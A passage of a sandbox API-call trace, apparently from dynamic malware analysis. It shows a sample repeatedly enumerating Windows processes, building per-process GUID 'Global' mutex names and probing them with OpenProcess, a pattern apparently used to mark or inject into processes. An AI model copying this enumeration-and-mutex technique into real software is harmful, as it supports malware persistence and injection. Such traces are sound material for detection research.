th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.012] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.013] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0119.013] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0119.013] GetLastError () returned 0x0 [0119.013] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0119.013] CloseHandle (hObject=0x6cc) returned 1 [0119.013] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.014] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0119.014] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0119.014] GetLastError () returned 0x0 [0119.014] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0119.014] CloseHandle (hObject=0x6cc) returned 1 [0119.014] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.015] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0119.015] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0119.015] GetLastError () returned 0xb7 [0119.015] CloseHandle (hObject=0x6cc) returned 1 [0119.015] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.015] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0119.015] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0119.015] GetLastError () returned 0x0 [0119.015] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0119.016] CloseHandle (hObject=0x6cc) returned 1 [0119.016] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.016] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.017] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.018] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.019] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.019] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.022] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.023] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.023] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.024] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.025] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.026] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.026] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.027] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.028] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.029] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.030] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.030] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.031] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.032] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.033] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.033] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.034] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.035] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.037] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.038] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.038] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.039] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.040] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.041] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.041] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.042] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0119.042] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0119.042] GetLastError () returned 0xb7 [0119.042] CloseHandle (hObject=0x6cc) returned 1 [0119.042] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0119.043] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0119.044] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.045] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0119.046] CloseHandle (hObject=0x56c) returned 1 [0119.046] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0119.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0119.194] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.195] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.196] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.197] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.197] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.198] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.199] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.200] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.201] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.201] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.202] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.205] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.206] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.206] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.207] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.208] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.209] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.210] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.210] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.211] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.212] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.213] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0119.213] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x568 [0119.213] GetLastError () returned 0xb7 [0119.213] CloseHandle (hObject=0x568) returned 1 [0119.213] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.214] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0119.214] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x568 [0119.214] GetLastError () returned 0xb7 [0119.214] CloseHandle (hObject=0x568) returned 1 [0119.214] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.214] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.215] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0119.215] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x568 [0119.215] GetLastError () returned 0x0 [0119.215] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0119.215] CloseHandle (hObject=0x568) returned 1 [0119.215] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.216] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0119.216] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, 